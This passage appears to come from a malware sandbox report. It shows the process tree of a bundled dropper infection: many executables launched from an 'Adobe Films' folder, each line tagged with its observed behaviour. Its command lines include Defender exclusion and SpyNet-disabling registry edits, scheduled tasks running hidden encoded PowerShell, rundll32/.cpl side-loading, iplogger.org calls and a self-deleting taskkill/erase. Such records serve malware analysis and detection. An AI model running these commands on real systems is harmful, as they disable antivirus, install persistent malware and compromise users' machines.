        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        5⤵
        
        PID:856
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        6⤵
        
        PID:3340
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        7⤵
        
        PID:6512
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        7⤵
        
        PID:6744
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        5⤵
        
        PID:3144
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        6⤵
        
        PID:5216
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        7⤵
        
        PID:6372
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        7⤵
        
        PID:6532
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gqchqfaur" /SC once /ST 12:36:30 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        5⤵
        Creates scheduled task(s)
        
        PID:3708
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gqchqfaur"
        5⤵
        
        PID:7040
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gqchqfaur"
        5⤵
        
        PID:2212
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bnHoQpKIlSSCUFQrDN" /SC once /ST 14:18:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\qXPJNMcRbBFEeomOU\igHnmwfRSHoqfpr\biXyJmk.exe\" Sk /site_id 525403 /S" /V1 /F
        5⤵
        Creates scheduled task(s)
        
        PID:6992
- C:\Users\Admin\Pictures\Adobe Films\dmoyraldgwfm6RQwDVDRWzIg.exe
  "C:\Users\Admin\Pictures\Adobe Films\dmoyraldgwfm6RQwDVDRWzIg.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2316
- - C:\Users\Admin\AppData\Local\Temp\AE4C8.exe
    "C:\Users\Admin\AppData\Local\Temp\AE4C8.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:5504
- - C:\Users\Admin\AppData\Local\Temp\2BA1G.exe
    "C:\Users\Admin\AppData\Local\Temp\2BA1G.exe"
    3⤵
    PID:5584
- - C:\Users\Admin\AppData\Local\Temp\2BA1G.exe
    "C:\Users\Admin\AppData\Local\Temp\2BA1G.exe"
    3⤵
    PID:5672
- - C:\Users\Admin\AppData\Local\Temp\LD5C8.exe
    "C:\Users\Admin\AppData\Local\Temp\LD5C8.exe"
    3⤵
    PID:5776
- - C:\Users\Admin\AppData\Local\Temp\1GH61.exe
    "C:\Users\Admin\AppData\Local\Temp\1GH61.exe"
    3⤵
    PID:5856
- - C:\Users\Admin\AppData\Local\Temp\CFI68AK0K8H6A23.exe
    https://iplogger.org/1nChi7
    3⤵
    PID:4184
- - C:\Users\Admin\AppData\Local\Temp\CFI68.exe
    "C:\Users\Admin\AppData\Local\Temp\CFI68.exe"
    3⤵
    PID:3596
  - - C:\Windows\SysWOW64\control.exe
      "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\NHE59B2.cpl",
      4⤵
      PID:3460
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\NHE59B2.cpl",
        5⤵
        
        PID:2024
- C:\Users\Admin\Pictures\Adobe Films\Bk_3pzu_8aAaQS1JzZkE3WvG.exe
  "C:\Users\Admin\Pictures\Adobe Films\Bk_3pzu_8aAaQS1JzZkE3WvG.exe"
  2⤵
  - Executes dropped EXE
  PID:4632
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
    3⤵
    PID:6044
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 960
    3⤵
    - Program crash
    PID:6844
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 1060
    3⤵
    - Program crash
    PID:5152
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 1116
    3⤵
    - Program crash
    PID:3808
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 1144
    3⤵
    - Program crash
    PID:1304
- C:\Users\Admin\Pictures\Adobe Films\mJFX3Pxmo_nnfkWsqg1Ypz8a.exe
  "C:\Users\Admin\Pictures\Adobe Films\mJFX3Pxmo_nnfkWsqg1Ypz8a.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1272
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout 37
    3⤵
    PID:6324
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 37
      4⤵
      Delays execution with timeout.exe
      PID:2300
- - C:\Users\Admin\AppData\Local\Temp\Wrgifolnahrqkluzhclmax1.exe
    "C:\Users\Admin\AppData\Local\Temp\Wrgifolnahrqkluzhclmax1.exe"
    3⤵
    PID:5852
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    3⤵
    PID:5624
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    3⤵
    PID:6148
- C:\Users\Admin\Pictures\Adobe Films\7HHV4p5gWsylXpaipQvip7sX.exe
  "C:\Users\Admin\Pictures\Adobe Films\7HHV4p5gWsylXpaipQvip7sX.exe"
  2⤵
  - Executes dropped EXE
  PID:1032
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1032 -s 1320
    3⤵
    - Program crash
    PID:6308
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1032 -s 1328
    3⤵
    - Program crash
    PID:3292
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1032 -s 1384
    3⤵
    - Program crash
    PID:2876
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "7HHV4p5gWsylXpaipQvip7sX.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\7HHV4p5gWsylXpaipQvip7sX.exe" & exit
    3⤵
    PID:6888
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "7HHV4p5gWsylXpaipQvip7sX.exe" /f
      4⤵
      Kills process with taskkill
      PID:6732
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1032 -s 1196
    3⤵
    - Program crash
    PID:3572
- C:\Users\Admin\Pictures\Adobe Films\DARGvgJP2TYc83wwX3c8HDE2.exe
  "C:\Users\Admin\Pictures\Adobe Films\DARGvgJP2TYc83wwX3c8HDE2.exe"
  2⤵
  - Executes dropped EXE
  PID:400
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 400 -s 464
    3⤵
    - Program crash
    PID:5340
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 400 -s 472
    3⤵
    - Program crash
    PID:5448
- C:\Users\Admin\Pictures\Adobe Films\dIALvIzYE_XOdHrjXlTJaRyX.exe
  "C:\Users\Admin\Pictures\Adobe Films\dIALvIzYE_XOdHrjXlTJaRyX.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:3044
- C:\Users\Admin\Pictures\Adobe Films\Mz3djn8j4HQqvc7m14j9YX1L.exe
  "C:\Users\Admin\Pictures\Adobe Films\Mz3djn8j4HQqvc7m14j9YX1L.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2072
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2072 -s 1012
    3⤵
    - Program crash
    PID:852
- C:\Users\Admin\Pictures\Adobe Films\GjnkVyoX8md6TWNSDG5PRFYh.exe
  "C:\Users\Admin\Pictures\Adobe Films\GjnkVyoX8md6TWNSDG5PRFYh.exe"
  2⤵
  PID:3248
- - C:\Users\Admin\Pictures\Adobe Films\GjnkVyoX8md6TWNSDG5PRFYh.exe
    "C:\Users\Admin\Pictures\Adobe Films\GjnkVyoX8md6TWNSDG5PRFYh.exe"
    3⤵
    PID:5724
- C:\Users\Admin\Pictures\Adobe Films\sla4TLAHBMKXbSEO5Y3Tu0Ta.exe
  "C:\Users\Admin\Pictures\Adobe Films\sla4TLAHBMKXbSEO5Y3Tu0Ta.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2912
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2912 -s 1932
    3⤵
    - Program crash
    PID:6036
- C:\Users\Admin\Pictures\Adobe Films\IPMg4PVRgec6WaMMlYqVadsV.exe
  "C:\Users\Admin\Pictures\Adobe Films\IPMg4PVRgec6WaMMlYqVadsV.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cmd < Detto.xla
    3⤵
    PID:5296
  - - C:\Windows\SysWOW64\cmd.exe
      cmd
      4⤵
      PID:4236
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FI "imagename eq BullGuardCore.exe"
        5⤵
        Enumerates processes with tasklist
        
        PID:5364
    - - C:\Windows\SysWOW64\find.exe
        
        find /I /N "bullguardcore.exe"
        5⤵
        
        PID:6024
    - - C:\Windows\SysWOW64\find.exe
        
        find /I /N "psuaservice.exe"
        5⤵
        
        PID:5424
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FI "imagename eq PSUAService.exe"
        5⤵
        Enumerates processes with tasklist
        
        PID:6036
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^wtwRMqjYMlcblhfrOaJNpOohYASICCRoGRaYHSofIqwzkvtDhVASceYjWNSjoDvlzhRaVdvWpzypNPwCvgcGwZMDTye$" Hai.xla
        5⤵
        
        PID:7052
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
        
        Sta.exe.pif V
        5⤵
        
        PID:6628
- C:\Users\Admin\Pictures\Adobe Films\N16ifDDeAk0U95fYIcSIfRvQ.exe
  "C:\Users\Admin\Pictures\Adobe Films\N16ifDDeAk0U95fYIcSIfRvQ.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:5052
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5880
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5872
- - C:\Users\Admin\Documents\BSTEJUssa170nc1ncsLFTM6D.exe
    "C:\Users\Admin\Documents\BSTEJUssa170nc1ncsLFTM6D.exe"
    3⤵
    PID:5832
  - - C:\Users\Admin\Pictures\Adobe Films\neEaWINq1zv0_Y7P_BNxMHlE.exe
      "C:\Users\Admin\Pictures\Adobe Films\neEaWINq1zv0_Y7P_BNxMHlE.exe"
      4⤵
      PID:5400
  - - C:\Users\Admin\Pictures\Adobe Films\PlMi7yKNEc8oNja4fPVBPYYC.exe
      "C:\Users\Admin\Pictures\Adobe Films\PlMi7yKNEc8oNja4fPVBPYYC.exe"
      4⤵
      PID:4348
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4348 -s 616
        5⤵
        Program crash
        
        PID:1672
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4348 -s 624
        5⤵
        Program crash
        
        PID:7072
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4348 -s 652
        5⤵
        Program crash
        
        PID:5560
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4348 -s 580
        5⤵
        Program crash
        
        PID:5900
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4348 -s 888
        5⤵
        Program crash
        
        PID:6948
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4348 -s 912
        5⤵
        Program crash
        
        PID:5796
  - - C:\Users\Admin\Pictures\Adobe Films\4Zf68QoHIPyPMVYeoagNW2Db.exe
      "C:\Users\Admin\Pictures\Adobe Films\4Zf68QoHIPyPMVYeoagNW2Db.exe"
      4⤵
      PID:2212
    - - C:\Windows\SysWOW64\control.exe
        
        "C:\Windows\System32\control.exe" .\a6U_WGm.9B
        5⤵
        
        PID:5280
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\a6U_WGm.9B
        6⤵
        
        PID:2252
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\a6U_WGm.9B
        7⤵
        
        PID:1612
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\a6U_WGm.9B
        8⤵
        
        PID:4216
  - - C:\Users\Admin\Pictures\Adobe Films\ePOwi_Eukz6bMzLpbJkIP5yv.exe
      "C:\Users\Admin\Pictures\Adobe Films\ePOwi_Eukz6bMzLpbJkIP5yv.exe"
      4⤵
      PID:3612
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        
        PID:6732
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        6⤵
        Kills process with taskkill
        
        PID:6960
  - - C:\Users\Admin\Pictures\Adobe Films\_u3uebcauedN3WRFKbR10Fys.exe
      "C:\Users\Admin\Pictures\Adobe Films\_u3uebcauedN3WRFKbR10Fys.exe"
      4⤵
      PID:5684
    - - C:\Users\Admin\AppData\Local\Temp\7zS8640.tmp\Install.exe
        
        .\Install.exe
        5⤵
        
        PID:5184
      - C:\Users\Admin\AppData\Local\Temp\7zSA282.tmp\Install.exe
        
        .\Install.exe /S /site_id "525403"
        6⤵
        
        PID:5844
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        7⤵
        
        PID:6532
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        8⤵
        
        PID:5760
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        9⤵
        
        PID:5952
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        9⤵
        
        PID:1396
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        7⤵
        
        PID:3144
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        8⤵
        
        PID:4460
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        9⤵
        
        PID:5688
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        9⤵
        
        PID:6192
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gAgMkdgVC" /SC once /ST 12:15:04 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        7⤵
        Creates scheduled task(s)
        
        PID:5772
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gAgMkdgVC"
        7⤵
        
        PID:6756
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gAgMkdgVC"
        7⤵
        
        PID:6496
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bnHoQpKIlSSCUFQrDN" /SC once /ST 14:18:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\qXPJNMcRbBFEeomOU\igHnmwfRSHoqfpr\FhItgTH.exe\" Sk /site_id 525403 /S" /V1 /F
        7⤵
        Creates scheduled task(s)
        
        PID:1316
  - - C:\Users\Admin\Pictures\Adobe Films\hEKPJVpAc4kubFdCtZq6p9nv.exe
      "C:\Users\Admin\Pictures\Adobe Films\hEKPJVpAc4kubFdCtZq6p9nv.exe"
      4⤵
      PID:6016
  - - C:\Users\Admin\Pictures\Adobe Films\NM8YqYBQkI79Z7_Y21LgZmQi.exe
      "C:\Users\Admin\Pictures\Adobe Films\NM8YqYBQkI79Z7_Y21LgZmQi.exe"
      4⤵
      PID:5692
    - - C:\Users\Admin\AppData\Local\Temp\TrdngAnlzr98262.exe
        
        "C:\Users\Admin\AppData\Local\Temp\TrdngAnlzr98262.exe"
        5⤵
        
        PID:6696
      - C:\Users\Admin\AppData\Local\Temp\GCB4L.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GCB4L.exe"
        6⤵
        
        PID:6772
      - C:\Users\Admin\AppData\Local\Temp\G9FM0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\G9FM0.exe"
        6⤵
        
        PID:6360
      - C:\Users\Admin\AppData\Local\Temp\AKALL.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AKALL.exe"
        6⤵
        
        PID:5476
      - C:\Users\Admin\AppData\Local\Temp\30B33.exe
        
        "C:\Users\Admin\AppData\Local\Temp\30B33.exe"
        6⤵
        
        PID:1580
      - C:\Users\Admin\AppData\Local\Temp\K0GD3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\K0GD3.exe"
        6⤵
        
        PID:6880
        
        C:\Windows\SysWOW64\control.exe
        
        "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\NHE59B2.cpl",
        7⤵
        
        PID:5792
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\NHE59B2.cpl",
        8⤵
        
        PID:5936
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\NHE59B2.cpl",
        9⤵
        
        PID:6000
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\NHE59B2.cpl",
        10⤵
        
        PID:6732
      - C:\Users\Admin\AppData\Local\Temp\K0GD3LG6G4JFJF7.exe
        
        https://iplogger.org/1nXhi7
        6⤵
        
        PID:5560
    - - C:\Users\Admin\AppData\Local\Temp\pub1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\pub1.exe"
        5⤵
        
        PID:6880
    - - C:\Users\Admin\AppData\Local\Temp\liguizhi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\liguizhi.exe"
        5⤵
        
        PID:7000
      - C:\Users\Admin\AppData\Local\Temp\liguizhi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\liguizhi.exe" -h
        6⤵
        
        PID:6516
    - - C:\Users\Admin\AppData\Local\Temp\GhostBrowserSetup92342.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GhostBrowserSetup92342.exe"
        5⤵
        
        PID:7104
      - C:\Users\Admin\AppData\Local\Temp\d9884185-f64a-4616-a1b2-dce622c5b8c16433647.exe
        
        "C:\Users\Admin\AppData\Local\Temp\d9884185-f64a-4616-a1b2-dce622c5b8c16433647.exe"
        6⤵
        
        PID:7068
    - - C:\Users\Admin\AppData\Local\Temp\siww1049.exe
        
        "C:\Users\Admin\AppData\Local\Temp\siww1049.exe"
        5⤵
        
        PID:6192
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 6192 -s 700
        6⤵
        Program crash
        
        PID:604
    - - C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        5⤵
        
        PID:4420
      - C:\Users\Admin\AppData\Local\Temp\is-S0LIC.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-S0LIC.tmp\setup.tmp" /SL5="$60222,870458,780800,C:\Users\Admin\AppData\Local\Temp\setup.exe"
        6⤵
        
        PID:4052
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        7⤵
        
        PID:7004
        
        C:\Users\Admin\AppData\Local\Temp\is-SH615.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-SH615.tmp\setup.tmp" /SL5="$80296,870458,780800,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        8⤵
        
        PID:5420
        
        C:\Users\Admin\AppData\Local\Temp\is-DAHDL.tmp\nthost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-DAHDL.tmp\nthost.exe" 81
        9⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:1944
    - - C:\Users\Admin\AppData\Local\Temp\inst200.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst200.exe"
        5⤵
        
        PID:6052
    - - C:\Users\Admin\AppData\Local\Temp\udontsay.exe
        
        "C:\Users\Admin\AppData\Local\Temp\udontsay.exe"
        5⤵
        
        PID:1288
      - C:\Users\Admin\AppData\Local\Temp\temp-working.exe
        
        "C:\Users\Admin\AppData\Local\Temp\temp-working.exe"
        6⤵
        
        PID:4204
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4204 -s 2284
        7⤵
        Program crash
        
        PID:6716
    - - C:\Users\Admin\AppData\Local\Temp\Routes Installation.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Routes Installation.exe"
        5⤵
        
        PID:6308
      - C:\Users\Admin\AppData\Local\Temp\9rXtYCldLWnJL\App486.exe
        
        C:\Users\Admin\AppData\Local\Temp\9rXtYCldLWnJL\App486.exe
        6⤵
        
        PID:5468
    - - C:\Users\Admin\AppData\Local\Temp\search_hyperfs_213.exe
        
        "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_213.exe"
        5⤵
        
        PID:4612
      - C:\Windows\SysWOW64\control.exe
        
        "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\4I~Z.CPl",
        6⤵
        
        PID:2104
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\4I~Z.CPl",
        7⤵
        
        PID:4252
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\4I~Z.CPl",
        8⤵
        
        PID:6080
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\4I~Z.CPl",
        9⤵
        
        PID:2856
    - - C:\Users\Admin\AppData\Local\Temp\anytime1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime1.exe"
        5⤵
        
        PID:6276
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        
        PID:6540
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        7⤵
        
        PID:6688
    - - C:\Users\Admin\AppData\Local\Temp\anytime2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime2.exe"
        5⤵
        
        PID:5284
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        
        PID:7072
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        7⤵
        
        PID:3420
    - - C:\Users\Admin\AppData\Local\Temp\anytime3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime3.exe"
        5⤵
        
        PID:6908
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 6908 -s 1688
        6⤵
        Program crash
        
        PID:5960
    - - C:\Users\Admin\AppData\Local\Temp\bearvpn3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bearvpn3.exe"
        5⤵
        
        PID:2376
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2376 -s 1688
        6⤵
        Program crash
        
        PID:5824
